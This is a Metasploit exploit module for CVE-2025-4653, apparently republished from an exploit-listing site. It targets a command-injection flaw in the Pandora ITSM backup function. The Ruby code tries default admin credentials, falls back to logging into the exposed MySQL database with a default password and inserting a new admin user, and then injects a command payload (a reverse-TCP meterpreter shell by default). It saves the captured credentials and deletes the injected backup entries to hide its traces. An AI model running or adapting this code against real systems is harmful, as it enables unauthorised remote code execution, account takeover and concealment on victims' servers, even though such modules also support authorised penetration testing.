Share
## https://sploitus.com/exploit?id=MSF:EXPLOIT-LINUX-HTTP-PANDORA_ITSM_AUTH_RCE_CVE_2025_4653-
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'rex/proto/mysql/client'
require 'digest/md5'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include BCrypt
  include Msf::Exploit::Remote::HttpClient
  prepend Msf::Exploit::Remote::AutoCheck

  # @!attribute [rw] mysql_client
  # @return [::Rex::Proto::MySQL::Client]
  attr_accessor :mysql_client

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Pandora ITSM authenticated command injection leading to RCE via the backup function',
        'Description' => %q{
          Pandora ITSM is a platform for Service Management & Support including a Helpdesk for support
          and customer service teams, aligned with ITIL processes.
          This module exploits a command injection vulnerability in the `name` backup setting at the
          application setup page of Pandora ITSM. This can be triggered by generating a backup with a
          malicious payload injected at the `name` parameter.
          You need to have admin access at the Pandora ITSM  Web application in order to execute this RCE.
          This access can be achieved by knowing the admin credentials to access the web application or
          leveraging a default password vulnerability in Pandora ITSM that allows an attacker to access
          the Pandora FMS ITSM database, create a new admin user and gain administrative access to the
          Pandora ITSM Web application. This attack can be remotely executed over the WAN as long as the
          MySQL services are exposed to the outside world.
          This issue affects all ITSM Enterprise editions up to `5.0.105` and is patched at `5.0.106`.
        },
        'Author' => [
          'h00die-gr3y <h00die.gr3y[at]gmail.com>' # Discovery, Metasploit module & default password weakness
        ],
        'References' => [
          ['CVE', '2025-4653'],
          ['URL', 'https://pandorafms.com/en/security/common-vulnerabilities-and-exposures/'],
          ['GHSA', 'm4f8-9c8x-8f3f', 'h00die-gr3y/h00die-gr3y'],
          ['URL', 'https://attackerkb.com/topics/wgCb1QQm1t/cve-2025-4653']
        ],
        'License' => MSF_LICENSE,
        'Privileged' => false,
        'Targets' => [
          [
            'Unix/Linux Command',
            {
              'Platform' => ['unix', 'linux'],
              'Arch' => ARCH_CMD,
              'Type' => :unix_cmd,
              'DefaultOptions' => {
                'PAYLOAD' => 'cmd/linux/http/x64/meterpreter/reverse_tcp'
              },
              'Payload' => {
                'Encoder' => 'cmd/base64',
                'BadChars' => "\x20\x3E\x26\x27\x22" # no space > & ' "
              }
            }
          ]
        ],
        'DefaultTarget' => 0,
        'DisclosureDate' => '2025-06-10',
        'DefaultOptions' => {
          'SSL' => true,
          'RPORT' => 443
        },
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS],
          'Reliability' => [REPEATABLE_SESSION]
        }
      )
    )
    register_options([
      OptString.new('TARGETURI', [true, 'Path to the Pandora ITSM application', '/pandoraitsm']),
      OptString.new('DB_USER', [true, 'Pandora database admin user', 'pandoraitsm']),
      OptString.new('DB_PASSWORD', [true, 'Pandora database admin password', 'P4ndor4.itsm']),
      OptString.new('DB_NAME', [true, 'Pandora database', 'pandoraitsm']),
      OptPort.new('DB_PORT', [true, 'MySQL database port', 3306]),
      OptString.new('USERNAME', [false, 'Pandora web admin user', 'admin']),
      OptString.new('PASSWORD', [false, 'Pandora web admin password', 'integria'])
    ])
  end

  # MySQL login
  # @param [String] host
  # @param [String] user
  # @param [String] password
  # @param [String] db
  # @param [String] port
  # @return [TrueClass|FalseClass] true if login successful, else false
  def mysql_login(host, user, password, db, port)
    begin
      self.mysql_client = ::Rex::Proto::MySQL::Client.connect(host, user, password, db, port)
    rescue Errno::ECONNREFUSED
      print_error('MySQL connection refused')
      return false
    rescue ::Rex::Proto::MySQL::Client::ClientError
      print_error('MySQL connection timedout')
      return false
    rescue Errno::ETIMEDOUT
      print_error('Operation timedout')
      return false
    rescue ::Rex::Proto::MySQL::Client::HostNotPrivileged
      print_error('Unable to login from this host due to policy')
      return false
    rescue ::Rex::Proto::MySQL::Client::AccessDeniedError
      print_error('MySQL Access denied')
      return false
    rescue StandardError => e
      print_error("Unknown error: #{e.message}")
      return false
    end
    true
  end

  # MySQL query
  # @param [String] sql
  # @return [query|nil|FalseClass] if sql query successful (can be nil), else false
  def mysql_query(sql)
    begin
      res = mysql_client.query(sql)
    rescue ::Rex::Proto::MySQL::Client::Error => e
      print_error("MySQL Error: #{e.class} #{e}")
      return false
    rescue Rex::ConnectionTimeout => e
      print_error("Timeout: #{e.message}")
      return false
    rescue StandardError => e
      print_error("Unknown error: #{e.message}")
      return false
    end
    res
  end

  # login at the Pandora ITSM web application
  # @param [String] name
  # @param [String] pwd
  # @return [TrueClass|FalseClass] true if login successful, else false
  def pandoraitsm_login(name, pwd)
    res = send_request_cgi!({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'index.php'),
      'keep_cookies' => true,
      'vars_post' => {
        'login' => 1,
        'nick' => name,
        'pass' => pwd,
        'Login' => 'LOG IN'
      }
    })
    return false unless res&.code == 200

    res.body.include?('godmode')
  end

  # CVE-2025-4653: Command Injection leading to RCE via the backup "name" parameter triggered by the backup function
  def execute_payload(cmd)
    @rce_payload = ";#{cmd};#"
    vprint_status("RCE payload: #{@rce_payload}")
    @clean_payload = true
    send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'index.php'),
      'keep_cookies' => true,
      'vars_get' => {
        'sec' => 'godmode',
        'sec2' => 'enterprise/godmode/setup/backup_manager'
      },
      'vars_post' => {
        'name' => @rce_payload.to_s,
        'mode' => 1,
        'mail' => nil,
        'create_backup' => 1,
        'create' => 'Do a backup now'
      }
    })
  end

  # clean-up the payload entries in the backup list by removing the backup name from the list
  # it also handles multiple entries (leftovers from previous attacks)
  def clean_rce_payload(payload)
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'index.php'),
      'keep_cookies' => true,
      'vars_get' => {
        'sec' => 'godmode',
        'sec2' => 'enterprise/godmode/setup/integria_backup'
      }
    })

    unless res&.code == 200 && res.body.include?(payload.slice(0..4)) # just take the first 5 chars (;echo) as match
      vprint_status('No payload entries found at the backup list.')
      return
    end

    html = res.get_html_document
    target_rows = html.css('table.dataTable tbody tr').select do |row|
      name_backup = row.at_css('td')
      name_backup && name_backup.text.strip.include?(payload.slice(0..4))
    end

    # Get the backup entry based on the href from <a> tags with an onclick attribute
    if target_rows.any?
      backup_entry = target_rows.flat_map do |row|
        row.css('a[onclick]').map { |a| a['href'] }
      end
    else
      vprint_status('No payload entries found at the backup list.')
      return
    end
    vprint_status(backup_entry.to_s)
    success = true
    backup_entry.each do |entry|
      id_bk_param = entry.match(/id_bk=\d*/)
      next unless id_bk_param

      id_bk = id_bk_param[0].split('=')
      res = send_request_cgi({
        'method' => 'GET',
        'uri' => normalize_uri(target_uri.path, 'index.php'),
        'keep_cookies' => true,
        'vars_get' => {
          'sec' => 'godmode',
          'sec2' => 'enterprise/godmode/setup/integria_backup',
          'offset' => 0,
          'remove' => 1,
          id_bk[0].to_s => id_bk[1].to_s
        }
      })
      success = false unless res&.code == 200 && !res.body.include?(id_bk_param.to_s)
    end
    if success
      print_good('Payload entries successfully removed from backup list.')
    else
      print_warning('Payload entries might not be removed from backup list. Check and try to clean it manually.')
    end
  end

  # try to remove the payload from the backup list to cover our tracks
  def cleanup
    super
    # Disconnect from MySQL server
    mysql_client.close if mysql_client
    # check if payload should be cleaned
    clean_rce_payload(@rce_payload) if @clean_payload
  end

  def check
    # use API v1.0 to check version
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'include', 'api.php'),
      'vars_get' => {
        'info' => 'version'
      }
    })
    return CheckCode::Unknown('Received unknown response.') unless res&.code == 200
    return CheckCode::Safe('Target is not a Pandora ITSM application.') unless res.body.include?('Pandora ITSM')

    version = res.body.match(/\d{1,3}\.\d{1,3}\.\d{1,3}/)
    unless version.nil?
      version = Rex::Version.new(version)
      if version < Rex::Version.new('5.0.106')
        return CheckCode::Appears(res.body.strip.to_s)
      else
        return CheckCode::Safe(res.body.strip.to_s)
      end
    end
    CheckCode::Detected('Could not determine the Pandora ITSM version.')
  end

  def exploit
    # check if we can login at the Pandora Web application with the default admin credentials
    username = datastore['USERNAME']
    password = datastore['PASSWORD']
    print_status("Trying to log in with admin credentials #{username}:#{password} at the Pandora ITSM Web application.")
    unless pandoraitsm_login(username, password)
      # connect to the PostgreSQL DB with default credentials
      print_status('Logging in with admin credentials failed. Trying to connect to the Pandora MySQL server.')
      mysql_login_res = mysql_login(datastore['RHOSTS'], datastore['DB_USER'], datastore['DB_PASSWORD'], datastore['DB_NAME'], datastore['DB_PORT'])
      fail_with(Failure::Unreachable, "Unable to connect to the MySQL server on port #{datastore['DB_PORT']}.") unless mysql_login_res

      # add a new admin user
      username = Rex::Text.rand_text_alphanumeric(5..8).downcase
      password = Rex::Text.rand_password

      # check the password hash algorithm by reading the password hash of the admin user
      # new pandora versions hashes the password in bcrypt $2*$, Blowfish (Unix) format else it is a plain MD5 hash
      mysql_query_res = mysql_query("SELECT password FROM tusuario WHERE id_usuario = 'admin';")
      fail_with(Failure::BadConfig, 'Cannot find admin credentials to determine password hash algorithm.') if mysql_query_res == false || mysql_query_res.size != 1
      hash = mysql_query_res.fetch_hash
      if hash['password'].match(/^\$2.\$/)
        password_hash = Password.create(password)
      else
        password_hash = Digest::MD5.hexdigest(password)
      end
      print_status("Creating new admin user with credentials #{username}:#{password} for access at the Pandora ITSM Web application.")
      mysql_query_res = mysql_query("INSERT INTO tusuario (id_usuario, password, nivel) VALUES (\'#{username}\', \'#{password_hash}\', '1');")
      fail_with(Failure::BadConfig, "Adding new admin credentials #{username}:#{password} to the database failed.") if mysql_query_res == false

      # log in with the new admin user credentials at the Pandora ITSM Web application
      print_status("Trying to log in with new admin credentials #{username}:#{password} at the Pandora ITSM Web application.")
      fail_with(Failure::NoAccess, 'Failed to authenticate at the Pandora ITSM Web application.') unless pandoraitsm_login(username, password)
    end
    print_status('Successfully authenticated at the Pandora ITSM Web application.')

    # storing credentials at the msf database
    print_status('Saving admin credentials to the msf database.')
    store_valid_credential(user: username, private: password)

    print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
    execute_payload(payload.encoded)
  end
end